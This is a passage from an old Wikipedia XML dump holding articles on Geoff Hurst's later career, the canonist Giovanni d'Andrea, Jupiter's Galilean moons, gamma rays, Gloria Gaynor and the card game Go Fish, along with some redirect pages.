==After the match==
It wasn't until the celebratory [[banquet]] that evening that Hurst realised he had scored a hat-trick, assuming that the final whistle had been blown before he'd struck the ball into the net for the third goal. This meant he had not attempted to get the match ball as a [[souvenir]], which hat-trick scorers traditionally do. Haller, scorer of the Germans' first goal, acquired the ball and was seen holding it as he collected his losers' medal. He returned it to England more than 30 years later.

The media were desperate to speak one-on-one with Hurst and they found him the day after the final, back home in [[London]]. As if to prove that life had to go on, Hurst was carrying out the mundane task of mowing his lawn when the [[journalist]]s turned up.

==Continuing international career==
Hurst continued to play and score for England but at the age of 24, his career had obviously peaked. Nothing in football could ever surpass winning the World Cup and scoring a hat-trick in the final. He won no more honours with West Ham in the 1960s but maintained his England place for much of the period, and was still an internationally-feared goalscorer by the time he was named in Ramsey's squad which would go to [[Mexico]] and defend the World Cup in 1970.

Hurst scored the only goal of England's opening game against [[Romania national football team|Romania]] as England progressed through to the quarter finals, where once again they would face West Germany. Hurst played a part in a goal for Peters which put England 2-0 up, but the Germans forced their way back in and won 3-2 after extra time.

In 1972, West Ham reached the semi final of the [[League Cup]] when they played [[Stoke City F.C.|Stoke City]] over two legs. In the home leg for West Ham, they were awarded a penalty which Hurst took. He blasted the ball with some power for the top corner, but Stoke goalkeeper and Hurst's international team-mate [[Gordon Banks]] somehow [[fingertip]]ped the ball over the bar. Stoke won the tie and ultimately the competition, and Hurst left West Ham to join them later the same year for 75,000 [[Pound sterling|pound]]s. He had played one game short of 500 for West Ham, scoring 252 goals.

His England career ended the same year with yet another game against West Germany in the qualification stages for the [[1972 European Football Championship|1972 European Championships]], which England lost. He had won 49 caps and scored 24 goals, currently putting him 11th in the all-time England scorers' list.

==His final years as a player==
Hurst wound down his career with Stoke and also [[West Bromwich Albion F.C.|West Bromwich Albion]].  

In 1976 Geoff signed for the [[Seattle Sounders]] of the [[NASL]].  Unlike many players who came over to the NASL from Europe to end their careers, Hurst rapidly proved his worth, and became a valuable member of the Sounder's team. He was the team’s second-leading scorer, helping the Sounders make it to the playoffs for the first time in their brief history, with 8 goals and  4 assists in 23 regular season games, and 1 goal in the playoffs. More important than Hurst’s numbers was his sense of timing: not only did he score the first (in the home opener against Portland) and the last (in the playoffs against Vancouver) goals of the season, 5 of his 8 goals were game-winners. 

After Seattle, Hurst played a bit more (in [[Kuwait]] and with [[Cork Celtic]]) and then dabbled in managing. He was briefly Player/Manager for [[Telford United]], served as assistant coach for England from 1977-1982, and managed Chelsea for two years after that. 

In 1975 Geoff was decorated with the [[Order of the British Empire|MBE]]. He also played first-class county [[cricket]] for [[Essex County Cricket Club|Essex]], one of the last sportsmen to play both football and cricket at the top level, something that was decades earlier not particularly rare (if uncommon). As mentioned earlier, he tried his hand unsuccessfully as a manager, most notably with [[Chelsea F.C.|Chelsea]] and also as an assistant to his ex-West Ham boss Ron Greenwood after he took over the England job in 1977.

In later years, Hurst became a successful businessman, working in the [[insurance]] industry. He also became much in demand as a pundit and a motivational speaker. In 1998 he was [[Knight Bachelor|knight]]ed. He is currently Director of Football for [[McDonald's]] fast food chain.

==In perspective==
Since 1966, only three players have come close to emulating Hurst's hat-trick exploits. [[Mario Kempes]] of Argentina in 1978, [[Zinedine Zidane]] for France in 1998 and [[Ronaldo]] for [[Brazil national football team|Brazil]] in 2002 have all scored two goals in World Cup finals but not managed the third. In global football, the name and achievement of Geoff Hurst remains unique.

Hurst's contribution to the English game was recognised in 2004 when he was inducted in the [[English Football Hall of Fame]]. Hurst is also one of the few football knights and this highlights his contribution to the game.

{{start box}}
{{succession box| before=[[Danny Blanchflower]]| title=[[Chelsea F.C.]] Manager| years=1979-1981| after=John Neal}}
{{end box}}

==External links==
*[http://www.nationalfootballmuseum.com/Hall%20of%20Fame/geoffhurst.htm English Football Hall of Fame Profile]

[[Category:1941 births|Hurst, Geoff]]
[[Category:Living people|Hurst, Geoff]]
[[Category:English footballers|Hurst, Geoff]]
[[Category:England footballers|Hurst, Geoff]]
[[Category:Football knights|Hurst, Geoff]]
[[Category:West Ham United F.C. players|Hurst, Geoff]]
[[Category:West Ham United F.C. forwards|Hurst, Geoff]]
[[Category:Stoke City F.C. players|Hurst, Geoff]]
[[Category:West Bromwich Albion F.C. players|Hurst, Geoff]]
[[Category:NASL players|Hurst, Geoff]]
[[Category:English football managers|Hurst, Geoff]]
[[Category:Chelsea F.C. managers|Hurst, Geoff]]
[[Category:English cricketers|Hurst, Geoff]]
[[Category:Knights bachelor|Hurst, Geoff]]
[[Category:Members of the British Empire|Hurst, Geoff]]
[[de:Geoff Hurst]]
[[fr:Geoffrey Hurst]]
[[ko:%EC%A0%9C%ED%94%84_%ED%97%88%EC%8A%A4%ED%8A%B8]]
[[nl:Geoff Hurst]]
[[sv:Geoff Hurst]]</text>
    </revision>
  </page>
  <page>
    <title>Gullivers Travels</title>
    <id>12502</id>
    <revision>
      <id>15910187</id>
      <timestamp>2002-04-22T11:56:49Z</timestamp>
      <contributor>
        <ip>67.227.168.8</ip>
      </contributor>
      <comment>*gullivers travels</comment>
      <text xml:space="preserve">#REDIRECT [[Gulliver's Travels]]</text>
    </revision>
  </page>
  <page>
    <title>Galilean Moons</title>
    <id>12503</id>
    <revision>
      <id>15910188</id>
      <timestamp>2005-05-12T19:17:34Z</timestamp>
      <contributor>
        <username>Ral315</username>
        <id>111703</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Galilean moons]]</text>
    </revision>
  </page>
  <page>
    <title>Giovanni d'Andrea</title>
    <id>12504</id>
    <revision>
      <id>41927800</id>
      <timestamp>2006-03-02T18:01:56Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
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      <minor />
      <text xml:space="preserve">'''Giovanni d'Andrea''' or '''Johannes Andreæ''', (ca [[1270]]-[[1275]] &amp;ndash; [[1348]]), a Tuscan expert in [[canon law]], was the most renowned and successful canonist of the later Middle Ages. His contemporaries referred to him  as ''iuris canonici fons et tuba'' (&quot;the fount and trumpet of canon law&quot;). Most important among his works were extensive commentaries on all of the official collections of papal [[decretal]]s, papal judgments in the form of letters to delegated judges that were at the core of canon law. 

Giovanni d'Andrea was born at [[Mugello]], near [[Florence]] and studied Roman law and [[canon law]] at the [[University of Bologna]], the great law school of the age, where he distinguished himself in this subject so much that he was made professor at [[Padua]], and then at [[Pisa]] before returning to Bologna, where he remained from the season of 1301-02 until his death, save for brief seasons at [[Padua]] 1307-09 and 1319. He wrote the statutes by which the University was governed, in 1317 [http://faculty.cua.edu/pennington/1298h-j.htm].

The 1911 ''Encyclopaedia Britannica'' related curious stories of him, that by way of self-mortification he lay every night for twenty years on the bare ground with only a bear's skin for a covering&amp;mdash; yet it is known that he remained a layman, was married and had children&amp;mdash; that in an audience he had with 
[[Pope Boniface VIII]] his extraordinary shortness of stature led the pope to believe he was kneeling, and to ask him three times to rise, to the immense merriment of the [[Cardinal (Catholicism)|cardinal]]s; and that he had a daughter, Novella, so accomplished in law as to be able to read her father's lectures in his absence, and so beautiful, that she had to read behind a curtain lest her face should distract the attention of the students. 

He is reported to have died at Bologna of the [[Black Death]] in 1348, and an epitaph in the church of the [[Dominican Order|Dominican]]s in which he was 
buried, calling him ''Rabbi Doctorum, Lux, Censor, Normaque Morum'' testifies to the public estimation of his character. Johannes Calderinus was his student and later his adoptive son. Paulus de Liazariis and Johannes de Sancto Georgio were among his students, and he counted the [[humanist]]s [[Cino da Pistoia]] and [[Petrarch]] among his friends.

Giovanni d'Andrea's output was voluminous:

* a [[gloss]] called (''Novella sive commentarius in decretales epistolas Gregorii IX'') on the ''Liber Extra'' (1234) , compiled under the direction of [[Pope Gregory IX]] (see [[Decretal]]s);
* an encomium of Saint [[Jerome]], the ''Hierominianum'';
* glosses on the [[Clementines]] of 1317 which became the standard gloss for this text
* a commentary alled the ''Mercuriales'' on the ''Regula iuris'' in the ''Liber Sextus'' (1298) of [[Pope Boniface VIII|Boniface VIII]].

Among lesser works, his additions to the ''Speculum'' of [[Durandus]] are simply an adaptation from the ''Consilia'' of [[Oldradus de Ponte]], as is also his ''De Sponsalibus et Matrimonio'', from [[Johannes Anguisciola]]. 

==External links==
*[http://www.catholic-forum.com/saints/ncd00524.htm ''New Catholic Dictionary'']: Giovanni d'Andrea
*[http://faculty.cua.edu/pennington/1298h-j.htm Ken Pennington, &quot;Medieval Canonists ; A Bio-Bibliographical Listing] compiled for the ''History of Medieval Canon Law''  

==References==
*{{1911}}
*[http://www.newadvent.org/cathen/01469d.htm Catholic Encyclopedia article]

[[Category:1270s births|d'Andrea, Giovanni]]
[[Category:1348 deaths|d'Andrea, Giovanni]]
[[Category:Italian writers|d'Andrea, Giovanni]]
[[Category:Italian lawyers|d'Andrea, Giovanni]]
[[Category:Canon lawyers|d'Andrea, Giovanni]]
[[Category:Legal history|d'Andrea, Giovanni]]</text>
    </revision>
  </page>
  <page>
    <title>Galilean moons</title>
    <id>12505</id>
    <revision>
      <id>39723004</id>
      <timestamp>2006-02-15T11:24:18Z</timestamp>
      <contributor>
        <username>SashatoBot</username>
        <id>743015</id>
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      <minor />
      <comment>robot  Adding: hr Modifying: it</comment>
      <text xml:space="preserve">[[Image:Jupitermoon.jpg|thumb|250px|[[Jupiter (planet)|Jupiter]]'s 4 Galilean moons, in a composite image comparing their sizes and the size of Jupiter ([[Great Red Spot]] visible). From the top, they are [[Io (moon)|Io]], [[Europa (moon)|Europa]], [[Ganymede (moon)|Ganymede]], [[Callisto (moon)|Callisto]]]]

The '''Galilean moons''' are the four moons of [[Jupiter (planet)|Jupiter]] discovered by [[Galileo Galilei]]. By far the largest of the many moons of Jupiter, they are visible even in a small [[telescope]] or binoculars. In fact, if the observing conditions are sufficient, it is possible to see [[Callisto (moon)|Callisto]], the outermost, with the unaided eye.

They were first observed by Galileo on [[January 7]], [[1610]]. It is now claimed that [[Gan De]], a Chinese astronomer, may have discovered the moons in 362 BC, nearly 2 millennia earlier. Galileo observed the moons' motion over several days and realized that they were in orbit around Jupiter. This discovery supported the [[heliocentrism|heliocentric theory]] of [[Nicolaus Copernicus]] and showed that not everything revolves around [[Earth]].

Galileo first called his discovery the ''Cosmica Sidera'', in honour of [[Cosimo II de' Medici]] ([[1590]]&amp;ndash;[[1621]]), grand-duke of [[Tuscany]] from [[1609]], whose patronage Galileo wanted to secure. At the grand-duke's suggestion, Galileo changed the name to ''Medicea Sidera'' (&quot;Medici stars&quot;), because the Medici were four brothers (Cosimo, Francesco, Carlo, and Lorenzo). The discovery was announced in the ''[[Sidereus Nuncius]]'' (&quot;Starry Messenger&quot;), published in [[Venice]] in March [[1610]], less than two months after the first observations.

Amongst the other names that were put forward, there is ''Principharus'', ''Victipharus'', ''Cosmipharus'' and ''Ferdinandipharus'', for each of the four Medici brothers, proposed by [[Giovanni Batista Hodierna]], a disciple of Galileo and author of the first ephemerides (''Medicaeorum Ephemerides'', [[1656]]).
[[Johannes Hevelius]] called them the ''Circulatores Jovis'' or ''Jovis Comites'', and [[Jacques Ozanam]] called them ''Gardes'' or ''Satellites'' (from the Latin ''satelles, satellitis'': ''escort'').
It would be the names proposed by [[Simon Marius]] (Simon Mayer), who claimed to have discovered the moons at the same time as Galileo, that would eventually prevail: ''[[Io (moon)|Io]]'', ''[[Europa (moon)|Europa]]'', ''[[Ganymede (moon)|Ganymede]]'' and ''[[Callisto (moon)|Callisto]]'', published in his ''Mundus Jovialis'' in [[1614]].

Galileo steadfastly refused to use Marius' names and invented as a result the numbering scheme that is still used nowadays, in parallel with proper moon names. 
The numbers run from Jupiter outward, thus I, II, III and IV for Io, Europa, Ganymede and Callisto respectively. Galileo used this system in his notebooks but never actually published it.

The Galilean moons are, in order from closest to Jupiter to farthest away:

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot;
|- style=&quot;background:#efefef;&quot;
! Name
! Image
! Interior&lt;br&gt;structure
! Diameter&lt;br/&gt;(km)
! Mass&lt;br/&gt;(kg)
! Semi-major&lt;br&gt;axis (km)
! Orbital&lt;br/&gt; period
|-
| '''[[Io (moon)|Io]]'''
|[[Image:Io, moon of Jupiter, NASA.jpg|120px]]
|[[Image:PIA01129 Interior of Io.jpg|150px]]
|align=&quot;center&quot;| 3643 
|align=&quot;right&quot;| 8.93&amp;times;10&lt;sup&gt;22&lt;/sup&gt;
|align=&quot;right&quot;| 421,800 
|align=&quot;right&quot;| 1.77 days 
|-
| '''[[Europa (moon)|Europa]]'''
|[[Image:Europa-moon.jpg|120px]]
|[[Image:PIA01130 Interior of Europa.jpg|150px]]
|align=&quot;center&quot;| 3122
|align=&quot;right&quot;| 4.8&amp;times;10&lt;sup&gt;22&lt;/sup&gt;
|align=&quot;right&quot;| 671,100
|align=&quot;right&quot;| 3.55 days
|-
| '''[[Ganymede (moon)|Ganymede]]'''
|[[Image:Ganymede, moon of Jupiter, NASA.jpg|120px]]
|[[Image:PIA00519 Interior of Ganymede.jpg|150px]]
|align=&quot;center&quot;| 5262
|align=&quot;right&quot;| 1.48&amp;times;10&lt;sup&gt;23&lt;/sup&gt;
|align=&quot;right&quot;| 1,070,400
|align=&quot;right&quot;| 7.16 days
|-
| '''[[Callisto (moon)|Callisto]]'''
|[[Image:Callisto, moon of Jupiter, NASA.jpg|120px]]
|[[Image:PIA01478 Interior of Callisto.jpg|150px]]
|align=&quot;center&quot;| 4821
|align=&quot;right&quot;| 1.08&amp;times;10&lt;sup&gt;23&lt;/sup&gt;
|align=&quot;right&quot;| 1,882,700
|align=&quot;right&quot;| 16.69 days
|}

The Galilean moons may have been known to the ancients: Babylonian [[Marduk]] (Jupiter) was said to be accompanied by four dogs (Jensen, ''Die Kosmologie der Babylonier'', p. 131) and Egyptian [[Horus]] (Jupiter) had four sons (Mercer, ''Horus, the Royal God of Egypt'', 1942). This is a conjecture, and not widely accepted as probable.
At their closest distance to Earth, the moons have a magnitude of 4.6 (Ganymede) to 5.6 (Callisto). Io at its apsis is separated from Jupiter by about two arc minutes. It is theoretically possible that dedicated and well-trained observers could manage to see the moons with the naked eye, but whether this was actually achieved by the [[Chaldean]]s remains a matter of speculation.

{{Jupiter_Footer}}

[[Category:Jupiter's moons|*]]

[[als:Galileischer Mond]]
[[bg:Галилееви спътници]]
[[cs:Galileovy měsíce]]
[[da:Galileiske måner]]
[[de:Galileischer Mond]]
[[es:Satélite galileano]]
[[eo:Galilejaj satelitoj]]
[[fr:Lune galiléenne]]
[[ko:갈릴레이 위성]]
[[hr:Galilejanski mjeseci]]
[[it:Satelliti medicei]]
[[he:הירחים הגליליאניים]]
[[hu:Galilei-holdak]]
[[nl:Galileïsche manen]]
[[ja:ガリレオ衛星]]
[[no:Galileiske måner]]
[[pl:Galileuszowe księżyce Jowisza]]
[[pt:Luas de Galileu]]
[[ru:Галилеевы спутники]]
[[sk:Galileove mesiace]]
[[zh:伽利略衛星]]</text>
    </revision>
  </page>
  <page>
    <title>Great Schism</title>
    <id>12507</id>
    <revision>
      <id>27498675</id>
      <timestamp>2005-11-06T03:08:02Z</timestamp>
      <contributor>
        <username>Silence</username>
        <id>84942</id>
      </contributor>
      <comment>When there are only two possible options and one is much more commonly used than the other, redirect to the common one and have it link to the other at the top.</comment>
      <text xml:space="preserve">#REDIRECT [[East-West Schism]]</text>
    </revision>
  </page>
  <page>
    <title>Gamma ray</title>
    <id>12508</id>
    <revision>
      <id>41889964</id>
      <timestamp>2006-03-02T11:33:20Z</timestamp>
      <contributor>
        <username>DV8 2XL</username>
        <id>146684</id>
      </contributor>
      <comment>Revert to revision 41274309 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">:''This article is about electromagnetic radiation. For the power metal band, see [[Gamma Ray (band)]]''

'''Gamma rays''' (often denoted by the Greek letter [[gamma]], &amp;gamma;) are an energetic form of [[electromagnetic radiation]] produced by [[radioactive decay]] or other nuclear or subatomic processes such as [[electron-positron annihilation]].

Gamma rays form the highest-energy end of the [[electromagnetic spectrum]]. They are often defined to begin at an [[energy]] of 10 [[Electronvolt|keV]], a frequency of 2.42 [[Exahertz|EHz]], or a wavelength of 124 [[Metre|pm]], although electromagnetic radiation from around 10 keV to several hundred keV is also referred to as hard [[X ray]]s.  It is important to note that there is no physical difference between gamma rays and X rays of the same energy&amp;nbsp;&amp;mdash; they are two names for the same electromagnetic radiation, just as [[sunlight]] and [[moonlight]] are two names for visible [[light]].  Rather, gamma rays are distinguished from X rays by their origin.  ''Gamma ray'' is a term for high-energy electromagnetic radiation produced by nuclear transitions, while ''X ray'' is a term for high-energy electromagnetic radiation produced by energy transitions due to accelerating electrons.  Because it is possible for some electron transitions to be of higher energy than some nuclear transitions, there is an overlap between what we call low energy gamma rays and high energy X-rays.

Gamma rays are a form of [[ionizing radiation]]; they are more penetrating than either [[Alpha particles|alpha]] or [[Beta particles|beta]] radiation (neither of which is electromagnetic radiation), but less ionizing. 

Gamma sources are used for a range of applications in both [[medicine]] and [[industry]]. For further details see [[commonly used gamma emitting isotopes]].

{{Nuclear_processes}}

==Shielding==
Shielding for &amp;gamma; rays requires large amounts of mass. The material used for shielding takes into account that gamma rays are better absorbed by materials with high [[atomic number]] and high density. Also, the higher the energy of the gamma rays, the thicker the shielding required. Materials for shielding gamma rays are typically illustrated by the thickness required to reduce the intensity of the gamma rays by one half (the half value layer or HVL). For example, gamma rays that require 1 cm (0.4 inches) of [[lead]] to reduce their intensity by 50% will also have their intensity reduced in half by 6&amp;nbsp;cm (2½&amp;nbsp;inches) of [[concrete]] or 9&amp;nbsp;cm (3½&amp;nbsp;inches) of packed dirt.

==Interaction with matter==

In terms of ionization, gamma radiation interacts with matter via three main processes: the [[photoelectric effect]], [[Compton scattering]], and [[pair production]]. 

* '''Photoelectric Effect''': This describes the case in which a gamma photon interacts with and transfers all of its energy to an orbital electron, ejecting that electron from the atom. The kinetic energy of the resulting photoelectron is equal to the energy of the incident gamma photon minus the binding energy of the electron. The photoelectric effect is thought to be the dominant energy transfer mechanism for x-ray and gamma ray photons with energies below 50 keV (thousand [[electronvolt|electron volts]]), but it is much less important at higher energies. 

* '''Compton Scattering''': This is an interaction in which an incident gamma photon loses enough energy to an orbital electron to cause its ejection, with the remainder of the original photon's energy being emitted as a new, lower energy gamma photon with an emission direction different from that of the incident gamma photon. The probability of Compton scatter decreases with increasing photon energy. Compton scattering is thought to be the principal absorption mechanism for gamma rays in the intermediate energy range 100 keV to 10 MeV (megaelectronvolts), an energy spectrum which includes most gamma radiation present in a nuclear explosion. Compton scattering is relatively independent of the [[atomic number]] of the absorbing material. 

[[Image:Egret_all_sky_gamma_ray_map_from_CGRO_spacecraft.gif|thumb|300px|right|Image of entire sky in 100 MeV or greater gamma rays as seen by the EGRET instrument aboard the [[CGRO]] spacecraft. Bright spots within the galactic plane are [[pulsar]]s while those above and below the plane are thought to be [[quasar]]s.]]

* '''Pair Production''': By interaction in the vicinity of the coulomb force of the nucleus, the energy of the incident photon is spontaneously converted into the mass of an electron-positron pair. A positron is the anti-matter equivalent of an electron; it has the same mass as an electron, but it has a positive charge equal in strength to the negative charge of an electron. Energy in excess of the equivalent rest mass of the two particles (1.02 MeV) appears as the kinetic energy of the pair and the recoil nucleus. The electron of the pair, frequently referred to as the secondary electron, is densely ionizing. The positron has a very short lifetime. It combines within 10&lt;sup&gt;-8&lt;/sup&gt; seconds with a free electron. The entire mass of these two particles is then converted into two gamma photons of 0.51 MeV energy each.
Gamma rays are often produced alongside other forms of radiation such as alpha or beta. When a nucleus emits an &amp;alpha; or &amp;beta; particle, the [[daughter nucleus]] is sometimes left in an excited state. It can then jump down to a lower level by emitting a gamma ray in much the same way that an atomic electron can jump to a lower level by emitting [[ultraviolet]] radiation.

Gamma rays, x-rays, visible [[light]], and UV rays are all forms of [[electromagnetic radiation]]. The only difference is the [[frequency]] and hence the [[energy]] of the [[photons]]. Gamma rays are the most energetic.
An example of gamma ray production follows.

First [[cobalt]]-60 decays to excited [[nickel]]-60 by [[Beta rays|beta decay]]:
:&lt;math&gt;
{}^{60}\hbox{Co}\;\to\;^{60}\hbox{Ni*}\;+\;e^-\;+\;\overline{\nu}_e.
&lt;/math&gt;
Then the nickel-60 drops down to the ground state (see nuclear [[shell model]]) by emitting a gamma ray:
:&lt;math&gt;
{}^{60}\hbox{Ni*}\;\to\;^{60}\hbox{Ni}\;+\;\gamma.
&lt;/math&gt;

Gamma rays of 1.17 MeV and 1.33 MeV are produced.

Another example is that Am-241 decays by alpha decay to form Np-237, this alpha decay is accompanied by [[gamma]] emission. In some cases the gamma emission spectrum for a nucleus is quite simple (eg Co-60/Ni-60) while in other cases such as (Am-241/Np-237 and Ir-192/Pt-192) the gamma emission spectrum is complex revealing that a series of nuclear energy levels can exist. The fact that an alpha spectrum can have a series of different peaks with different energies reinforces the idea that several nuclear energy levels are possible.

Because a beta decay is accompanied by the emission of a [[neutrino]] which also carries away energy, the beta spectrum does not have sharp lines, but instead it is a broad peak. Hence from beta decay alone it is not possible to probe the different energy levels found in the nucleus.

In [[optical]] spectroscopy it is well known that an entity which is an emitter of light can also absorb light at the same [[wavelength]] (photon energy), for instance a sodium flame can emit yellow light, but also it can absorb the yellow light from a [[sodium]] vapour lamp. In the case of gamma rays this can be seen in [[Mössbauer]] spectroscopy, here a correction for the energy lost by the recoil of the nucleus is made and the exact conditions for gamma ray absorption through resonance can be attained.

This can be thought of as being similar to the [[Frank Condon]] effects seen in optical spectroscopy.

== Uses ==

The powerful nature of gamma rays have made them useful in the sterilizing of medical equipment by killing [[bacterium|bacteria]]. They are also used to kill bacteria and insects in foodstuffs, particularly meat and vegetables, to maintain freshness. 

In spite of their cancer-causing properties, gamma rays are also used to treat some types of [[cancer]]. In the procedure called [[gamma knife|gamma-knife]] surgery, multiple concentrated beams of gamma rays are directed on the growth in order to kill the cancerous cells. The beams are aimed from different angles to focus the radiation on the growth while minimising damage to the surrounding tissues.

Gamma rays are also used for diagnostic purposes in [[nuclear medicine]]. Several gamma-emitting [[radioisotope]]s are used, one of which is [[technetium]]-99m. When administered to a patient, a [[gamma camera]] can be used to form an image of the radioisotope's distribution by detecting the gamma radiation emitted. Such a technique can be employed to diagnose a wide range of conditions (e.g. spread of cancer to the bones).

Gamma ray detectors are also starting to be used in Singapore and Pakistan as part of the [[Container Security Initiative]] (CSI).  These [[United States dollar|US$]]5 million machines are advertised to scan 30 containers per hour.  The objective of this technique is to pre-screen merchant ship containers before they enter U.S. ports. [http://www.inet.tsinghua.edu.cn/english2/academics4.htm]

== History ==

Gamma rays were discovered by the French chemist and physicist, [[Paul Ulrich Villard]] in 1900 while he was studying [[uranium]]. Working in the chemistry department of the [[École Normale Supérieure|École Normale]] in rue d'Ulm, [[Paris]] with self-constructed equipment, he found that the rays were not bent by a [[magnetic field]].

For a time, it was assumed that gamma rays were particles. The fact that they were rays was demonstrated by the British Physicist, [[William Henry Bragg]] in 1910 when he showed that the rays ionized gas in a similar way to X-rays.

In 1914, [[Ernest Rutherford, 1st Baron Rutherford of Nelson|Ernest Rutherford]] and [[Edward Andrade]] showed that gamma rays were a form of electromagnetic radiation by measuring their wavelengths using [[X-ray crystallography|crystal diffraction]]. The wavelengths are similar to those of X-rays and are very short, in the range 10&lt;sup&gt;-11&lt;/sup&gt;m to 10&lt;sup&gt;-14&lt;/sup&gt;m. It was [[Ernest Rutherford, 1st Baron Rutherford of Nelson|Rutherford]] who coined the name 'gamma rays', after naming 'alpha' and 'beta' rays; the natures of the different rays were unknown at that time.

Gamma-ray astronomy did not develop until it was possible to get our detectors above all or most of the atmosphere, using balloons or spacecraft. The first gamma-ray telescope, carried into orbit on the Explorer XI satellite in 1961, picked up fewer than 100 cosmic gamma-ray photons! 
Perhaps the most spectacular discovery in gamma-ray astronomy came in the late 1960s and early 1970s. Detectors on board the Vela satellite series, originally military satellites, began to record bursts of gamma-rays, not from Earth, but from deep space.


== References ==
{{unreferenced}}

== See also == 
*[[Alpha rays]] 
*[[Beta rays]]  
*[[Delta rays]]  
*[[Epsilon rays]]
*[[Gamma-ray astronomy]]
*[[Gamma ray burst]]s
*[[Radiation therapy]]
*[[Food irradiation]]

{{physics-stub}}
{{EMSpectrum}}

&lt;!--Interwiki--&gt;
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[[Category:Electromagnetic spectrum]]
[[Category:Radioactivity]]

[[ca:Radiació gamma]]
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[[zh:伽马射线]]</text>
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  <page>
    <title>Gloria Gaynor</title>
    <id>12509</id>
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        <ip>80.180.186.118</ip>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:GloriaGaynor.jpg|right|thumb|Gloria Gaynor]]
'''Gloria Gaynor''' (real name '''Gloria Fowles''', born [[September 7]], [[1949]] in [[Newark, New Jersey]]) is a singer best-known for the [[disco]] hits ''[[I Will Survive]]'' ([[Hot 100]] #1, [[1979]]) and ''[[Never Can Say Goodbye]]'' (Hot 100 #9, [[1974]]).

Gaynor was a singer with the [[Soul Satisfiers]], a [[jazz]]/pop band, in the 1960s. Her first solo single was &quot;She'll Be Sorry / Let Me Go Baby&quot; ([[1965]]).

The lyrics of &quot;I Will Survive&quot; are written from the point of view of a woman, recently dumped, telling her ex-lover that she can cope without him and does not want anything more to do with him. The song has become something of an anthem of female [[emancipation]], and is still a staple of office parties and [[karaoke]] nights. In [[1999]], [[Pixar]] animator [http://www.navone.org/ Victor Navone] used this song to create an [http://amfilms.hash.com/search/entry.php?entry=539 alien music video] which for a time was a minor [[Internet phenomenon]].

An interesting piece of trivia about &quot;I Will Survive&quot; is that it was originally the [[B-side]] when [[Polydor Records]] released it in late [[1978]]. The [[A-side]], a song called ''Substitute'', was considered to be more &quot;radio friendly.&quot; Radio [[disc jockey | DJ]]s flipped the record over and audience response forced the record company to flip the songs and subsequent copies of the single listed the more popular song on the A-side.

&quot;Never Can Say Goodbye&quot; was her first song to top [[Billboard magazine]]'s [[Hot Dance Music/Club Play | dance chart]].

Some of her lesser-known disco songs include ''Honey Bee'' ([[1974]]), ''Casanova Brown'' ([[1975]]), and ''I Am What I Am'' ([[1983]]).

During the late 1990's she dabbled in acting for a while, guest starring on ''[[The Wayans Bros]]'', ''[[That 70's Show]]'', and ''[[Ally McBeal]]'' before doing a limited engagement performance in [[Broadway theatre|Broadway's]] ''[[Smokey Joe's Cafe]]''.  

She returned to the recording studio in [[2002]], releasing her first album in 20 years entitled, ''I Wish You Love''.  The two singles released from the album, ''Just Keep Thinking About You'' and ''I Never Knew'', both top the [[Billboard magazine|Billboard]]'s [[Dance]] chart.  The latter song also charted #30 on [[Billboard magazine|Billboard]]'s [[Adult Contemporary]] chart.

Over 25 years after its release Gloria continues to ride the success of &quot;I Will Survive&quot;, touring the country and the world over and performing her signature song on dozens of TV shows.

On September 19, [[2005]] Gloria was honored twice when her and her music were inducted into the [[Dance Music Hall of Fame]].  She was inducted in the Artist Inductees category along with fellow disco legends [[Chic]] and [[Sylvester]] and her classic anthem, &quot;I Will Survive&quot;, was inducted under the Records Inductees category.

==See also==
*[[List of artists who reached number one on the Hot 100 (U.S.)]]
*[[List of artists who reached number one on the U.S. Dance chart]]
*[[List of number-one dance hits (United States)]]
*[[List of number-one hits (United States)]]

==External links==
* [http://www.gloriagaynor.com/ Official web site]
* http://www.dmhof.com Official site of the Dance Music Hall Of Fame


[[Category:1949 births|Gaynor, Gloria]]
[[Category:Living people|Gaynor, Gloria]]
[[Category:African American musicians|Gaynor, Gloria]]
[[Category:American female singers|Gaynor, Gloria]]
[[Category:Disco musicians|Gaynor, Gloria]]
[[Category:Former Scientologists|Gaynor, Gloria]]
[[Category:Gay icons|Gaynor, Gloria]]
[[Category:House musicians|Gaynor, Gloria]]

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  <page>
    <title>Go Fish</title>
    <id>12510</id>
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        <username>Ian Pitchford</username>
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      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">'''Go Fish''', also called '''Fish''', is a simple [[card game]] popular among children.  It is best played by two to four players, although theoretically it can be played with up to ten.

== The basic game ==
Five cards are dealt to each player, or seven if there are only two players.

The player whose turn it is to play asks another player for his/her cards of a particular rank.  For example, &quot;Jill, give me your fours&quot;.  A player may only ask for a rank of which he/she already holds at least one card.  The recipient of the request must then hand over all cards of that rank.  If the call was successful, the same player has another turn.  If the player who was asked has no cards of that rank, he/she says &quot;Go fish&quot; (or simply &quot;Fish&quot;), and the asking player draws the top card from the pack.  The turn then passes to the player who was asked.

When one player has all four cards of a given rank, they form a ''book'', and the cards are placed face up on the table.  The game ends when all thirteen books are formed, and the player who won the most books wins.

If the player whose turn it is has no cards left in hand, the game is not over, but he/she simply draws the top card from the pack and the turn passes.  &lt;!-- To whom? --&gt;

== Variations ==
There are a number of variations of these basic rules:

* Players form pairs instead of books of four.  It follows that only one card is ever handed over in each call, and every successful call completes a pair.

* Extra conditions are added under which a player's turn continues.  For example, if the card fished from the pack matches the rank that was asked for, or if it completes a book.

* With three or more players, all players must respond to each call.  A player draws a card from the pack only if no opponent has a card of the requested rank, and then the turn passes clockwise.

* Players ask for a specific card instead of a rank.  A player must still have at least one card of the named rank in order to ask, and must expose that card when asking.  This is similar to [[Happy Families]].

* Another variation is that, if playing for books of four all cards of the associated rank must be given to the caller not just a single card meaning if a player has one card of a book it is feasible that he can complete the book in a single call.

* In the event that a player runs out of cards he should draw a new hand from the top of the pack.

* Another variation is that if a player runs out of cards he must wait untill the game is over and cannot gain any more cards or books

== Strategy ==
The strategy is pretty straightforward. If, when fishing, you draw a rank you don't have, you should ask for it on your next turn. Otherwise, rotate among the ranks you already hold. In the harder variants, proper strategy requires remembering who has what. Unlike many card games, Go Fish is very much dependent on the [[honor system]]; lying about the contents of one's hand is hard to prevent.

[[Category:Matching card      ]]

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  <page>
    <title>Gerald Schroeder</title>
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      <comment>categorise properly</comment>
